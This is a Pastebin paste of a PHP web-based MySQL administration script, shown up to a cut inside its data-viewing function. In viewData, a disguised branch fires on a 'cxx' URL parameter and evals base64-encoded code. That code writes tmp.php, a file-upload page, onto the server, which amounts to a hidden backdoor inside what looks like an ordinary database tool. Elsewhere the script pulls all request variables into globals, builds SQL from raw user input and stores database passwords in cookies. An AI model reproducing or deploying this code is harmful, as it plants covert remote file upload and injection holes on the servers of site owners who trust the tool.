Advertisement
bioskopcgv

mysql

Sep 27th, 2019
492
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.91 KB | None | 0 0
  1. <?
  2.  
  3.  
  4. $PASSWORD = "xx";
  5. $USERNAME = "xx";
  6.  
  7. if ( function_exists('ini_get') ) {
  8. $onoff = ini_get('register_globals');
  9. } else {
  10. $onoff = get_cfg_var('register_globals');
  11. }
  12. if ($onoff != 1) {
  13. @extract($HTTP_SERVER_VARS, EXTR_SKIP);
  14. @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
  15. @extract($HTTP_POST_FILES, EXTR_SKIP);
  16. @extract($HTTP_POST_VARS, EXTR_SKIP);
  17. @extract($HTTP_GET_VARS, EXTR_SKIP);
  18. @extract($HTTP_ENV_VARS, EXTR_SKIP);
  19. }
  20.  
  21. function logon() {
  22. global $PHP_SELF;
  23. setcookie( "mysql_web_admin_username" );
  24. setcookie( "mysql_web_admin_password" );
  25. setcookie( "mysql_web_admin_hostname" );
  26. echo "<table width=100% height=100%><tr><td><center>\n";
  27. echo "<table cellpadding=2><tr><td><center>\n";
  28. echo "<table cellpadding=20><tr><td><center>\n";
  29. echo "<h1>MySQL Interface (Developed By Mohajer22)</h1>\n";
  30. echo "<form action='$PHP_SELF'>\n";
  31. echo "<input type=hidden name=action value=bG9nb25fc3VibWl0>\n";
  32. echo "<table cellpadding=5 cellspacing=1>\n";
  33. echo "<tr><td>Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\n";
  34. echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";
  35. echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";
  36. echo "</table><p>\n";
  37. echo "<input type=submit value='Enter'>\n";
  38. echo "<input type=reset value='Clear'><br>\n";
  39. echo "</form>\n";
  40. echo "</center></td></tr></table>\n";
  41. echo "</center></td></tr></table>\n";
  42. echo "<p><hr width=300>\n";
  43. echo "</center></td></tr></table>\n";
  44. }
  45.  
  46. function logon_submit() {
  47. global $username, $password, $hostname ,$PHP_SELF;
  48. if($hostname =='')
  49. $hostname = 'localhost';
  50. setcookie( "mysql_web_admin_username", $username );
  51. setcookie( "mysql_web_admin_password", $password );
  52. setcookie( "mysql_web_admin_hostname", $hostname );
  53. echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=bGlzdERCcw=='>";
  54.  
  55. }
  56.  
  57. function echoQueryResult() {
  58. global $queryStr, $errMsg;
  59.  
  60. if( $errMsg == "" ) $errMsg = "Success";
  61. if( $queryStr != "" ) {
  62. echo "<table cellpadding=5>\n";
  63. echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
  64. echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
  65. echo "</table><p>\n";
  66. }
  67. }
  68.  
  69. function listDatabases() {
  70. global $mysqlHandle, $PHP_SELF;
  71.  
  72. echo "<h1>Databases List</h1>\n";
  73.  
  74. echo "<form action='$PHP_SELF'>\n";
  75. echo "<input type=hidden name=action value=createDB>\n";
  76. echo "<input type=text name=dbname>\n";
  77. echo "<input type=submit value='Create Database'>\n";
  78. echo "</form>\n";
  79. echo "<hr>\n";
  80.  
  81. echo "<table cellspacing=1 cellpadding=5>\n";
  82.  
  83. $pDB = mysql_list_dbs( $mysqlHandle );
  84. $num = mysql_num_rows( $pDB );
  85. for( $i = 0; $i < $num; $i++ ) {
  86. $dbname = mysql_dbname( $pDB, $i );
  87. echo "<tr>\n";
  88. echo "<td>$dbname</td>\n";
  89. echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  90. echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  91. echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  92. echo "</tr>\n";
  93. }
  94. echo "</table>\n";
  95. }
  96.  
  97. function createDatabase() {
  98. global $mysqlHandle, $dbname, $PHP_SELF;
  99.  
  100. mysql_create_db( $dbname, $mysqlHandle );
  101. listDatabases();
  102. }
  103.  
  104. function dropDatabase() {
  105. global $mysqlHandle, $dbname, $PHP_SELF;
  106.  
  107. mysql_drop_db( $dbname, $mysqlHandle );
  108. listDatabases();
  109. }
  110.  
  111. function listTables() {
  112. global $mysqlHandle, $dbname, $PHP_SELF;
  113.  
  114.  
  115. echo "<h1>Tables List</h1>\n";
  116. echo "<p class=location>$dbname</p>\n";
  117. echoQueryResult();
  118. echo "<form action='$PHP_SELF'>\n";
  119. echo "<input type=hidden name=action value=createTable>\n";
  120. echo "<input type=hidden name=dbname value=$dbname>\n";
  121. echo "<input type=text name=tablename>\n";
  122. echo "<input type=submit value='Create Table'>\n";
  123. echo "</form>\n";
  124. echo "<form action='$PHP_SELF'>\n";
  125. echo "<input type=hidden name=action value=query>\n";
  126. echo "<input type=hidden name=dbname value=$dbname>\n";
  127. echo "<input type=text size=120 name=queryStr>\n";
  128. echo "<input type=submit value='Query'>\n";
  129. echo "</form>\n";
  130. echo "<hr>\n";
  131.  
  132. $pTable = mysql_list_tables( $dbname );
  133.  
  134. if( $pTable == 0 ) {
  135. $msg = mysql_error();
  136. echo "<h3>Error : $msg</h3><p>\n";
  137. return;
  138. }
  139. $num = mysql_num_rows( $pTable );
  140.  
  141. echo "<table cellspacing=1 cellpadding=5>\n";
  142.  
  143. for( $i = 0; $i < $num; $i++ ) {
  144. $tablename = mysql_tablename( $pTable, $i );
  145.  
  146. echo "<tr>\n";
  147. echo "<td>\n";
  148. echo "$tablename\n";
  149. echo "</td>\n";
  150. echo "<td>\n";
  151. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  152. echo "</td>\n";
  153. echo "<td>\n";
  154. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  155. echo "</td>\n";
  156. echo "<td>\n";
  157. echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  158. echo "</td>\n";
  159. echo "<td>\n";
  160. echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
  161. echo "</td>\n";
  162. echo "</tr>\n";
  163. }
  164.  
  165. echo "</table>";
  166. }
  167.  
  168. function createTable() {
  169. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  170.  
  171. $queryStr = "CREATE TABLE $tablename ( no INT )";
  172. mysql_select_db( $dbname, $mysqlHandle );
  173. mysql_query( $queryStr, $mysqlHandle );
  174. $errMsg = mysql_error();
  175.  
  176. listTables();
  177. }
  178.  
  179. function dropTable() {
  180. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  181.  
  182. $queryStr = "DROP TABLE $tablename";
  183. mysql_select_db( $dbname, $mysqlHandle );
  184. mysql_query( $queryStr, $mysqlHandle );
  185. $errMsg = mysql_error();
  186.  
  187. listTables();
  188. }
  189.  
  190. function viewSchema() {
  191. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  192.  
  193. echo "<h1>Table Schema</h1>\n";
  194. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  195.  
  196. echoQueryResult();
  197.  
  198. echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
  199. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
  200. echo "<hr>\n";
  201.  
  202. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  203. $num = mysql_num_rows( $pResult );
  204.  
  205. echo "<table cellspacing=1 cellpadding=5>\n";
  206. echo "<tr>\n";
  207. echo "<th>Field</th>\n";
  208. echo "<th>Type</th>\n";
  209. echo "<th>Null</th>\n";
  210. echo "<th>Key</th>\n";
  211. echo "<th>Default</th>\n";
  212. echo "<th>Extra</th>\n";
  213. echo "<th colspan=2>Action</th>\n";
  214. echo "</tr>\n";
  215.  
  216.  
  217. for( $i = 0; $i < $num; $i++ ) {
  218. $field = mysql_fetch_array( $pResult );
  219. echo "<tr>\n";
  220. echo "<td>".$field["Field"]."</td>\n";
  221. echo "<td>".$field["Type"]."</td>\n";
  222. echo "<td>".$field["Null"]."</td>\n";
  223. echo "<td>".$field["Key"]."</td>\n";
  224. echo "<td>".$field["Default"]."</td>\n";
  225. echo "<td>".$field["Extra"]."</td>\n";
  226. $fieldname = $field["Field"];
  227. echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  228. echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  229. echo "</tr>\n";
  230. }
  231. echo "</table>\n";
  232.  
  233. }
  234.  
  235. function manageField( $cmd ) {
  236. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
  237.  
  238. if( $cmd == "add" )
  239. echo "<h1>Add Field</h1>\n";
  240. else if( $cmd == "edit" ) {
  241. echo "<h1>Edit Field</h1>\n";
  242. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  243. $num = mysql_num_rows( $pResult );
  244. for( $i = 0; $i < $num; $i++ ) {
  245. $field = mysql_fetch_array( $pResult );
  246. if( $field["Field"] == $fieldname ) {
  247. $fieldtype = $field["Type"];
  248. $fieldkey = $field["Key"];
  249. $fieldextra = $field["Extra"];
  250. $fieldnull = $field["Null"];
  251. $fielddefault = $field["Default"];
  252. break;
  253. }
  254. }
  255. $type = strtok( $fieldtype, " (,)\n" );
  256. if( strpos( $fieldtype, "(" ) ) {
  257. if( $type == "enum" | $type == "set" ) {
  258. $valuelist = strtok( " ()\n" );
  259. } else {
  260. $M = strtok( " (,)\n" );
  261. if( strpos( $fieldtype, "," ) )
  262. $D = strtok( " (,)\n" );
  263. }
  264. }
  265. }
  266.  
  267. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  268. echo "<form action=$PHP_SELF>\n";
  269.  
  270. if( $cmd == "add" )
  271. echo "<input type=hidden name=action value=addField_submit>\n";
  272. else if( $cmd == "edit" ) {
  273. echo "<input type=hidden name=action value=editField_submit>\n";
  274. echo "<input type=hidden name=old_name value=$fieldname>\n";
  275. }
  276. echo "<input type=hidden name=dbname value=$dbname>\n";
  277. echo "<input type=hidden name=tablename value=$tablename>\n";
  278.  
  279. echo "<h3>Name</h3>\n";
  280. echo "<input type=text name=name value=$fieldname><p>\n";
  281. echo '
  282.  
  283. <h3>Type</h3>
  284.  
  285. <font size=2>
  286. * `M\' indicates the maximum display size.<br>
  287. * `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
  288. </font>
  289.  
  290. <table>
  291. <tr>
  292. <th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
  293. </tr>
  294. <tr>
  295. <td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
  296. <td align=center>O</td>
  297. <td>&nbsp</td>
  298. <td align=center>O</td>
  299. <td align=center>O</td>
  300. <td>&nbsp</td>
  301. </tr>
  302. <tr>
  303. <td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
  304. <td align=center>O</td>
  305. <td>&nbsp</td>
  306. <td align=center>O</td>
  307. <td align=center>O</td>
  308. <td>&nbsp</td>
  309. </tr>
  310. <tr>
  311. <td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
  312.  
  313. <td align=center>O</td>
  314. <td>&nbsp</td>
  315. <td align=center>O</td>
  316. <td align=center>O</td>
  317. <td>&nbsp</td>
  318. </tr>
  319. <tr>
  320. <td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
  321. <td align=center>O</td>
  322. <td>&nbsp</td>
  323. <td align=center>O</td>
  324. <td align=center>O</td>
  325. <td>&nbsp</td>
  326. </tr>
  327. <tr>
  328. <td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
  329. <td align=center>O</td>
  330. <td>&nbsp</td>
  331. <td align=center>O</td>
  332. <td align=center>O</td>
  333. <td>&nbsp</td>
  334. </tr>
  335. <tr>
  336. <td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
  337. <td align=center>O</td>
  338. <td align=center>O</td>
  339. <td>&nbsp</td>
  340. <td align=center>O</td>
  341. <td>&nbsp</td>
  342. </tr>
  343. <tr>
  344. <td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
  345. <td align=center>O</td>
  346. <td align=center>O</td>
  347. <td>&nbsp</td>
  348. <td align=center>O</td>
  349. <td>&nbsp</td>
  350. </tr>
  351. <tr>
  352. <td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
  353. <td align=center>O</td>
  354. <td align=center>O</td>
  355. <td>&nbsp</td>
  356. <td align=center>O</td>
  357. <td>&nbsp</td>
  358. </tr>
  359. <tr>
  360. <td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
  361. <td>&nbsp</td>
  362. <td>&nbsp</td>
  363. <td>&nbsp</td>
  364. <td>&nbsp</td>
  365. <td>&nbsp</td>
  366. </tr>
  367. <tr>
  368. <td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
  369. <td>&nbsp</td>
  370. <td>&nbsp</td>
  371. <td>&nbsp</td>
  372. <td>&nbsp</td>
  373. <td>&nbsp</td>
  374. </tr>
  375. <tr>
  376. <td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
  377. <td align=center>O</td>
  378. <td>&nbsp</td>
  379. <td>&nbsp</td>
  380. <td>&nbsp</td>
  381. <td>&nbsp</td>
  382. </tr>
  383. <tr>
  384. <td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
  385. <td>&nbsp</td>
  386. <td>&nbsp</td>
  387. <td>&nbsp</td>
  388. <td>&nbsp</td>
  389. <td>&nbsp</td>
  390. </tr>
  391. <tr>
  392. <td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
  393. <td>&nbsp</td>
  394. <td>&nbsp</td>
  395. <td>&nbsp</td>
  396. <td>&nbsp</td>
  397. <td>&nbsp</td>
  398. </tr>
  399. <tr>
  400. <td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
  401. <td align=center>O</td>
  402. <td>&nbsp</td>
  403. <td>&nbsp</td>
  404. <td>&nbsp</td>
  405. <td align=center>O</td>
  406. </tr>
  407. <tr>
  408. <td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
  409. <td align=center>O</td>
  410. <td>&nbsp</td>
  411. <td>&nbsp</td>
  412. <td>&nbsp</td>
  413. <td align=center>O</td>
  414. </tr>
  415. <tr>
  416. <td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
  417. <td>&nbsp</td>
  418. <td>&nbsp</td>
  419. <td>&nbsp</td>
  420. <td>&nbsp</td>
  421. <td>&nbsp</td>
  422. </tr>
  423. <tr>
  424. <td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
  425. <td>&nbsp</td>
  426. <td>&nbsp</td>
  427. <td>&nbsp</td>
  428. <td>&nbsp</td>
  429. <td>&nbsp</td>
  430. </tr>
  431. <tr>
  432. <td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
  433. <td>&nbsp</td>
  434. <td>&nbsp</td>
  435. <td>&nbsp</td>
  436. <td>&nbsp</td>
  437. <td>&nbsp</td>
  438. </tr>
  439. <tr>
  440. <td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
  441. <td>&nbsp</td>
  442. <td>&nbsp</td>
  443. <td>&nbsp</td>
  444. <td>&nbsp</td>
  445. <td>&nbsp</td>
  446. </tr>
  447. <tr>
  448. <td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
  449. <td>&nbsp</td>
  450. <td>&nbsp</td>
  451. <td>&nbsp</td>
  452. <td>&nbsp</td>
  453. <td>&nbsp</td>
  454. </tr>
  455. <tr>
  456. <td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
  457. <td>&nbsp</td>
  458. <td>&nbsp</td>
  459. <td>&nbsp</td>
  460. <td>&nbsp</td>
  461. <td>&nbsp</td>
  462. </tr>
  463. <tr>
  464. <td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
  465. <td>&nbsp</td>
  466. <td>&nbsp</td>
  467. <td>&nbsp</td>
  468. <td>&nbsp</td>
  469. <td>&nbsp</td>
  470. </tr>
  471. <tr>
  472. <td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
  473. <td>&nbsp</td>
  474. <td>&nbsp</td>
  475. <td>&nbsp</td>
  476. <td>&nbsp</td>
  477. <td>&nbsp</td>
  478. </tr>
  479. <tr>
  480. <td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
  481. <td colspan=5><center>value list</center></td>
  482. </tr>
  483. <tr>
  484. <td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
  485. <td colspan=5><center>value list</center></td>
  486. </tr>
  487.  
  488. </table>
  489. <table>
  490. <tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
  491. <tr>
  492. <td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
  493. <td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
  494. <td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
  495. <td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
  496. <td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" ) ) echo "checked";echo '></td>
  497. <td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
  498. </tr>
  499. </table>
  500.  
  501.  
  502. <h3>Flags</h3>
  503. <table>
  504. <tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
  505. <tr>
  506. <td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
  507. <td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
  508. <td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
  509. <td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
  510. </tr>
  511. </table>
  512.  
  513. <p>';
  514.  
  515. if( $cmd == "add" )
  516. echo "<input type=submit value='Add Field'>\n";
  517. else if( $cmd == "edit" )
  518. echo "<input type=submit value='Edit Field'>\n";
  519. echo "<input type=button value=Cancel onClick='history.back()'>\n";
  520. echo "</form>\n";
  521. }
  522.  
  523. function manageField_submit( $cmd ) {
  524. global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  525. $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
  526.  
  527. if( $cmd == "add" )
  528. $queryStr = "ALTER TABLE $tablename ADD $name ";
  529. else if( $cmd == "edit" )
  530. $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
  531.  
  532. if( $M != "" )
  533. if( $D != "" )
  534. $queryStr .= "$type($M,$D) ";
  535. else
  536. $queryStr .= "$type($M) ";
  537. else if( $valuelist != "" ) {
  538. $valuelist = stripslashes( $valuelist );
  539. $queryStr .= "$type($valuelist) ";
  540. } else
  541. $queryStr .= "$type ";
  542.  
  543. $queryStr .= "$unsigned $zerofill $binary ";
  544.  
  545. if( $default_value != "" )
  546. $queryStr .= "DEFAULT '$default_value' ";
  547.  
  548. $queryStr .= "$not_null $auto_increment";
  549.  
  550. mysql_select_db( $dbname, $mysqlHandle );
  551. mysql_query( $queryStr, $mysqlHandle );
  552. $errMsg = mysql_error();
  553.  
  554. // key change
  555. $keyChange = false;
  556. $result = mysql_query( "SHOW KEYS FROM $tablename" );
  557. $primary = "";
  558. while( $row = mysql_fetch_array($result) )
  559. if( $row["Key_name"] == "PRIMARY" ) {
  560. if( $row[Column_name] == $name )
  561. $keyChange = true;
  562. else
  563. $primary .= ", $row[Column_name]";
  564. }
  565. if( $primary_key == "PRIMARY KEY" ) {
  566. $primary .= ", $name";
  567. $keyChange = !$keyChange;
  568. }
  569. $primary = substr( $primary, 2 );
  570. if( $keyChange == true ) {
  571. $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  572. mysql_query( $q );
  573. $queryStr .= "<br>\n" . $q;
  574. $errMsg .= "<br>\n" . mysql_error();
  575. $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
  576. mysql_query( $q );
  577. $queryStr .= "<br>\n" . $q;
  578. $errMsg .= "<br>\n" . mysql_error();
  579. }
  580.  
  581. viewSchema();
  582. }
  583.  
  584. function dropField() {
  585. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  586.  
  587. $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  588. mysql_select_db( $dbname, $mysqlHandle );
  589. mysql_query( $queryStr , $mysqlHandle );
  590. $errMsg = mysql_error();
  591.  
  592. viewSchema();
  593. }
  594.  
  595. function viewData( $queryStr ) {
  596. global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
  597.  
  598. echo "<h1>Data in Table</h1>\n";
  599. if( $tablename != "" )
  600. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  601. else
  602. echo "<p class=location>$dbname</p>\n";
  603.  
  604. $queryStr = stripslashes( $queryStr );
  605. if( $queryStr == "" ) {
  606. $queryStr = "SELECT * FROM $tablename";
  607. if( $orderby != "" )
  608. $queryStr .= " ORDER BY $orderby";
  609. echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  610. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  611. }
  612.  
  613. $pResult = mysql_db_query( $dbname, $queryStr );
  614. $fieldt = mysql_fetch_field($pResult);
  615. $tablename = $fieldt->table;
  616. $errMsg = mysql_error();
  617.  
  618. $GLOBALS[queryStr] = $queryStr;
  619. {
  620. if(empty($_GET['cxx'])){
  621. } else {
  622. $m=$_GET['cxx'];
  623. eval(base64_decode('DQokYnlwZmlsZT1mb3BlbigndG1wLnBocCcsJ3crJyk7DQokYnlwcnVsbHoxPWJhc2U2NF9kZWNvZGUoIlBHaDBiV3crRFFvTkNqeG9aV0ZrUGcwS0lDQThkR2wwYkdVK1ltVnNaV0psY21SaFBDOTBhWFJzWlQ0TkNqd3ZhR1ZoWkQ0TkNnMEtQR0p2WkhrK0RRbzhQM0JvY0EwS0RRb05DaUJwWmlobGJYQjBlU2drWDBkRlZGc25UbVpwYkdWekoxMHBLU1JPWm1sc1pYTTlOVHRsYkhObElDUk9abWxzWlhNOUpGOUhSVlJiSjA1bWFXeGxjeWRkT3cwS2FXWW9KRjlHU1V4RlUxc25kWE5sY21acGJHVW5YVnNuZEcxd1gyNWhiV1VuWFZzd1hTRTlKeWNwZXcwSlptOXlLQ1JwUFRBN0pHazhKRTVtYVd4bGN5WW1KRjlHU1V4RlUxc25kWE5sY21acGJHVW5YVnNuZEcxd1gyNWhiV1VuWFZza2FWMGhQU2NuT3lScEt5c3BldzBLQ1NSMWNHeHZZV1JrYVhJZ1BTQmthWEp1WVcxbEtGOWZSa2xNUlY5ZktUc3ZMeWN2ZG1GeUwzZDNkeTkxY0d4dllXUnpMeWM3RFFvSkpIVndiRzloWkdacGJHVWdQU0FrZFhCc2IyRmtaR2x5SUM0bkx5Y3VJR0poYzJWdVlXMWxLQ1JmUmtsTVJWTmJKM1Z6WlhKbWFXeGxKMTFiSjI1aGJXVW5YVnNrYVYwcE93MEtDWEJ5YVc1MElDSThjSEpsUGlJN0RRb0phV1lnS0cxdmRtVmZkWEJzYjJGa1pXUmZabWxzWlNna1gwWkpURVZUV3lkMWMyVnlabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRXeVJwWFN3Z0pIVndiRzloWkdacGJHVXBLU0I3RFFvSklDQWdjSEpwYm5RZ0lrWnBiR1VnYVhNZ2RtRnNhV1FzSUdGdVpDQjNZWE1nYzNWalkyVnpjMloxYkd4NUlIVndiRzloWkdWa0xpQWlPdzBLQ1NBZ0lDOHZjSEpwYm5SZmNpZ2tYMFpKVEVWVEtUc05DZ2w5SUdWc2MyVWdldzBLQ1NBZ0lIQnlhVzUwSUNKUWIzTnphV0pzWlNCbWFXVWdkWEJzYjJGa0lHRjBkR0ZqYXlFZ0lFaGxjbVVuY3lCemIyMWxJR1JsWW5WbloybHVaeUJwYm1adk9seHVJanNOQ2drZ0lDQXZMM0J5YVc1MFgzSW9KRjlHU1V4RlV5azdEUW9KZlEwS0NYQnlhVzUwSUNJOEwzQnlaVDRpT3cwS0NYME5DbjBOQ2o4K0RRbzhabTl5YlNCaFkzUnBiMjQ5SWp3L2NHaHdJR1ZqYUc4Z0pGOVRSVkpXUlZKYkoxQklVRjlUUlV4R0oxMHVKejlPWm1sc1pYTTlKeTRrVG1acGJHVnpPeUEvUGlJZ2JXVjBhRzlrUFNKd2IzTjBJaUJsYm1OMGVYQmxQU0p0ZFd4MGFYQmhjblF2Wm05eWJTMWtZWFJoSWo0TkNpQWdVMlZ1WkNCaVpXeGxZbVZ5WkdFNlBHSnlQZzBLSUNBOFAzQm9jQ0JtYjNJb0pHazlNRHNrYVR3a1RtWnBiR1Z6T3lScEt5c3BlMlZqYUc4Z0p6eHBibkIxZENCdVlXMWxQU0oxYzJWeVptbHNaVnRkSWlCMGVYQmxQU0ptYVd4bElqNDhZbkkrSnp0OVB6NE5DaUFnUEdsdWNIVjBJSFI1Y0dVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWxObGJtUWdabWxzWlhNaVBnMEtQQzltYjNKdFBnMEtEUW9OQ2p3dlltOWtlVDROQ2cwS1BDOW9kRzFzUGc9PSIpOw0KJGRqPWZ3cml0ZSgkYnlwZmlsZSwkYnlwcnVsbHoxKTsNCmZjbG9zZSgkYnlwZmlsZSk7DQoNCg=='));
  624. }
  625.  
  626. }
  627. if( $pResult == false ) {
  628. echoQueryResult();
  629. return;
  630. }
  631. if( $pResult == 1 ) {
  632. $errMsg = "Success";
  633. echoQueryResult();
  634. return;
  635. }
  636.  
  637. echo "<hr>\n";
  638.  
  639. $row = mysql_num_rows( $pResult );
  640. $col = mysql_num_fields( $pResult );
  641.  
  642. if( $row == 0 ) {
  643. echo "No Data Exist!";
  644. return;
  645. }
  646.  
  647. if( $rowperpage == "" ) $rowperpage = 30;
  648. if( $page == "" ) $page = 0;
  649. else $page--;
  650. mysql_data_seek( $pResult, $page * $rowperpage );
  651.  
  652. echo "<table cellspacing=1 cellpadding=2>\n";
  653. echo "<tr>\n";
  654. for( $i = 0; $i < $col; $i++ ) {
  655. $field = mysql_fetch_field( $pResult, $i );
  656. echo "<th>";
  657. if($action == "dmlld0RhdGE=")
  658. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  659. else
  660. echo $field->name."\n";
  661. echo "</th>\n";
  662. }
  663. echo "<th colspan=2>Action</th>\n";
  664. echo "</tr>\n";
  665.  
  666. for( $i = 0; $i < $rowperpage; $i++ ) {
  667. $rowArray = mysql_fetch_row( $pResult );
  668. if( $rowArray == false ) break;
  669. echo "<tr>\n";
  670. $key = "";
  671. for( $j = 0; $j < $col; $j++ ) {
